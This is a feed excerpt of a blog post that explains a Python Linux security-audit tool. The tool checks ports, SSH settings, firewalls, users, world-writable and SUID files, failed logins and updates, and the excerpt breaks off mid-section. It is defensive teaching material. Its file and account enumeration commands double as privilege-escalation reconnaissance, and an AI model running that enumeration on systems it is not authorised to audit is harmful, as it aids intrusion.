&lt;ul&gt;
&lt;li&gt;Cryptographic hashing for tamper detection
&lt;/li&gt;
&lt;li&gt;Filesystem traversal and metadata collection
&lt;/li&gt;
&lt;li&gt;Security baselining techniques
&lt;/li&gt;
&lt;li&gt;Incident detection logic
&lt;/li&gt;
&lt;li&gt;CLI security tooling in Python&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;FIM demonstrates that powerful security tooling doesn't require heavyweight frameworks or complex configuration. At its heart, it's a practical application of one idea: &lt;em&gt;cryptographic hashes make file tampering detectable&lt;/em&gt;. By combining that principle with a clean terminal UI, multi-algorithm support, and a range of monitoring modes, FIM becomes a genuinely useful tool for developers, sysadmins, and security practitioners who want visibility into their filesystems without the overhead of an enterprise solution. Security often starts with visibility.&lt;br&gt;
If you don't know when your files change, you don't know when your system is compromised.&lt;/p&gt;

&lt;p&gt;The full source code is a single self-contained Python file. Drop it on any system with Python 3.8+ and you're ready to go.&lt;/p&gt;




</description>
      <category>python</category>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>devops</category>
    </item>
    <item>
      <title>Day 18 — Building a Linux Vulnerability Analyzer</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Fri, 06 Mar 2026 05:35:21 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-18-building-a-linux-vulnerability-analyzer-895</link>
      <guid>https://forem.com/hafiz_shamnad/day-18-building-a-linux-vulnerability-analyzer-895</guid>
      <description>&lt;p&gt;In most cybersecurity learning paths, people focus on tools first. But sometimes the better exercise is building your own. Today I spent time creating a Linux vulnerability analyzer, a command line tool designed to audit a system and surface common security weaknesses.&lt;/p&gt;

&lt;p&gt;The idea is simple: treat the Linux machine like a fortress and walk through it gate by gate. Which services are listening? Which configurations are unsafe? Which permissions look suspicious? A small script can turn those questions into a structured security check.&lt;/p&gt;

&lt;p&gt;This tool performs a set of system audits that are commonly part of basic security assessments. It collects system information, inspects open ports, reviews SSH configuration, checks firewall status, enumerates user accounts, and looks for risky file permissions such as world writable files or SUID binaries. It also inspects running services and identifies available package updates that might contain security patches.&lt;/p&gt;

&lt;p&gt;What made this project interesting was designing it as a modular scanner. Each security check is treated as its own module, so scans can run individually or as part of a full system audit. This makes it easier to extend later with additional checks such as CVE lookups, Docker scanning, or kernel vulnerability analysis.&lt;/p&gt;

&lt;p&gt;Another focus was usability. Security tools are most useful when their output is readable, so the scanner produces a structured CLI report with clear sections and warning indicators. Instead of raw command outputs, the results are organized into human readable summaries that highlight potential issues quickly.&lt;/p&gt;

&lt;p&gt;At the end of the scan, the tool generates a concise security overview and can optionally export the findings as a JSON report for further analysis or automation workflows.&lt;/p&gt;

&lt;p&gt;Projects like this help reinforce how many security insights come directly from the operating system itself. Linux already exposes a lot of valuable signals through logs, configuration files, and system commands. The challenge is collecting and presenting them in a meaningful way.&lt;/p&gt;

&lt;p&gt;Building small security utilities like this is a great way to understand how real auditing tools work under the hood.&lt;/p&gt;

&lt;p&gt;Day by day, the goal is simple: learn by building.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detailed Code Explanation
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;vulnscan&lt;/code&gt; is a &lt;strong&gt;Python-based command-line security auditing tool&lt;/strong&gt; designed to analyze Linux desktops and servers for common security issues.&lt;/p&gt;

&lt;p&gt;It performs several checks including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;System information collection&lt;/li&gt;
&lt;li&gt;Open port discovery&lt;/li&gt;
&lt;li&gt;SSH configuration audit&lt;/li&gt;
&lt;li&gt;Firewall status verification&lt;/li&gt;
&lt;li&gt;User account analysis&lt;/li&gt;
&lt;li&gt;World-writable file detection&lt;/li&gt;
&lt;li&gt;SUID binary detection&lt;/li&gt;
&lt;li&gt;Failed login detection&lt;/li&gt;
&lt;li&gt;Running service enumeration&lt;/li&gt;
&lt;li&gt;Package update checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The results are displayed in a &lt;strong&gt;structured CLI interface&lt;/strong&gt; and can also be exported as &lt;strong&gt;JSON reports&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  1. Shebang and Script Header
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This line tells Linux to run the script using &lt;strong&gt;Python 3 from the system environment&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The header comment explains the tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vulnscan - Linux Vulnerability Analyzer
A comprehensive security auditing tool with rich CLI output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This indicates the tool is designed to produce &lt;strong&gt;clean terminal output using the Rich library&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  2. Importing Required Modules
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each module serves a purpose:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Module&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;subprocess&lt;/td&gt;
&lt;td&gt;Run Linux shell commands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;argparse&lt;/td&gt;
&lt;td&gt;Handle CLI arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;os&lt;/td&gt;
&lt;td&gt;File permission checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;json&lt;/td&gt;
&lt;td&gt;Export scan results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime&lt;/td&gt;
&lt;td&gt;Timestamp scans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pathlib&lt;/td&gt;
&lt;td&gt;File path handling&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The scanner relies heavily on &lt;strong&gt;Linux commands executed via subprocess&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  3. Rich CLI Output Support
&lt;/h1&gt;

&lt;p&gt;The tool attempts to import the &lt;strong&gt;Rich library&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rich.console&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Console&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rich.table&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Table&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rich.panel&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Panel&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rich allows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;colored output&lt;/li&gt;
&lt;li&gt;tables&lt;/li&gt;
&lt;li&gt;progress spinners&lt;/li&gt;
&lt;li&gt;formatted panels&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If Rich is &lt;strong&gt;not installed&lt;/strong&gt;, the tool falls back to &lt;strong&gt;plain text mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example fallback logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;RICH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A simple console class replaces Rich output.&lt;/p&gt;

&lt;p&gt;This ensures the tool &lt;strong&gt;works even on minimal systems&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  4. Command Execution Helper
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function runs shell commands safely.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Captures stdout&lt;/li&gt;
&lt;li&gt;Prevents crashes&lt;/li&gt;
&lt;li&gt;Timeout protection&lt;/li&gt;
&lt;li&gt;Always returns output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;run("uname -r")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;6.5.0-21-generic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  5. Status Tag Generator
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_tag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creates &lt;strong&gt;status labels&lt;/strong&gt; for results.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✔ OK
✗ WARN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Used when displaying scan results.&lt;/p&gt;




&lt;h1&gt;
  
  
  6. Section Header Printer
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_section&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creates &lt;strong&gt;visual separation between scan sections&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;────────────────── SSH Security Audit ──────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  7. System Information Scan
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;system_info&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Collects &lt;strong&gt;basic system information&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Commands used:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;grep PRETTY_NAME /etc/os-release&lt;/td&gt;
&lt;td&gt;OS name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uname -r&lt;/td&gt;
&lt;td&gt;kernel version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uname -m&lt;/td&gt;
&lt;td&gt;architecture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostname&lt;/td&gt;
&lt;td&gt;system hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;uptime -p&lt;/td&gt;
&lt;td&gt;system uptime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;free -h&lt;/td&gt;
&lt;td&gt;RAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;df -h&lt;/td&gt;
&lt;td&gt;disk usage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;who&lt;/td&gt;
&lt;td&gt;logged in users&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OS: Ubuntu 22.04
Kernel: 6.2
RAM: 8GB
Disk: 40% used
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps identify &lt;strong&gt;outdated or unsupported systems&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  8. Open Port Detection
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ss -tuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lists:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP ports&lt;/li&gt;
&lt;li&gt;UDP ports&lt;/li&gt;
&lt;li&gt;listening services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tcp LISTEN 0.0.0.0:22
tcp LISTEN 0.0.0.0:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open ports can expose services to attackers.&lt;/p&gt;




&lt;h1&gt;
  
  
  9. SSH Security Audit
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ssh_audit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Analyzes &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Checks include:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setting&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PermitRootLogin&lt;/td&gt;
&lt;td&gt;attackers login as root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PasswordAuthentication&lt;/td&gt;
&lt;td&gt;brute force risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PermitEmptyPasswords&lt;/td&gt;
&lt;td&gt;empty password accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protocol&lt;/td&gt;
&lt;td&gt;insecure SSH v1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MaxAuthTries&lt;/td&gt;
&lt;td&gt;brute force attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LoginGraceTime&lt;/td&gt;
&lt;td&gt;session hijacking window&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Example result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PermitRootLogin = yes   WARN
PasswordAuthentication = yes   WARN
Protocol = 2   OK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps detect &lt;strong&gt;weak SSH configurations&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  10. Firewall Status Check
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;firewall_check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks three firewall systems:&lt;/p&gt;

&lt;h3&gt;
  
  
  UFW
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ufw status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  iptables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;iptables -L INPUT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  firewalld
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl is-active firewalld
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UFW: inactive
iptables rules: 3
firewalld: inactive
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A disabled firewall is a &lt;strong&gt;major security risk&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  11. User Account Audit
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;user_audit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extracts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;username&lt;/li&gt;
&lt;li&gt;UID&lt;/li&gt;
&lt;li&gt;home directory&lt;/li&gt;
&lt;li&gt;shell&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Important checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;interactive shells&lt;/li&gt;
&lt;li&gt;sudo users&lt;/li&gt;
&lt;li&gt;root accounts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user1 uid=1000 shell=/bin/bash
root uid=0 sudo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Privilege escalation often targets &lt;strong&gt;misconfigured user accounts&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  12. World Writable File Scan
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;world_writable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -0002
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This identifies files &lt;strong&gt;any user can modify&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/tmp/testfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These files can be abused for &lt;strong&gt;privilege escalation&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  13. SUID Binary Detection
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;suid_files&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -4000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SUID files execute &lt;strong&gt;with root privileges&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/passwd
/usr/bin/sudo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attackers often exploit vulnerable SUID binaries.&lt;/p&gt;




&lt;h1&gt;
  
  
  14. Failed Login Detection
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;failed_logins&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lastb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If unavailable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;journalctl sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This identifies &lt;strong&gt;brute force attempts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Failed password for root from 192.168.1.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  15. Running Services
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;running_services&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;systemctl list-units --type=service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh.service
nginx.service
mysql.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attack surface increases with &lt;strong&gt;more running services&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  16. Package Update Check
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;package_updates&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Detects package manager automatically:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Manager&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;APT&lt;/td&gt;
&lt;td&gt;apt list --upgradable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNF/YUM&lt;/td&gt;
&lt;td&gt;dnf check-update&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Example result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Upgradable packages: 12
Security updates: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Outdated packages often contain &lt;strong&gt;known CVEs&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  17. Display Functions
&lt;/h1&gt;

&lt;p&gt;Several display functions format scan results.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;display_ports()
display_users()
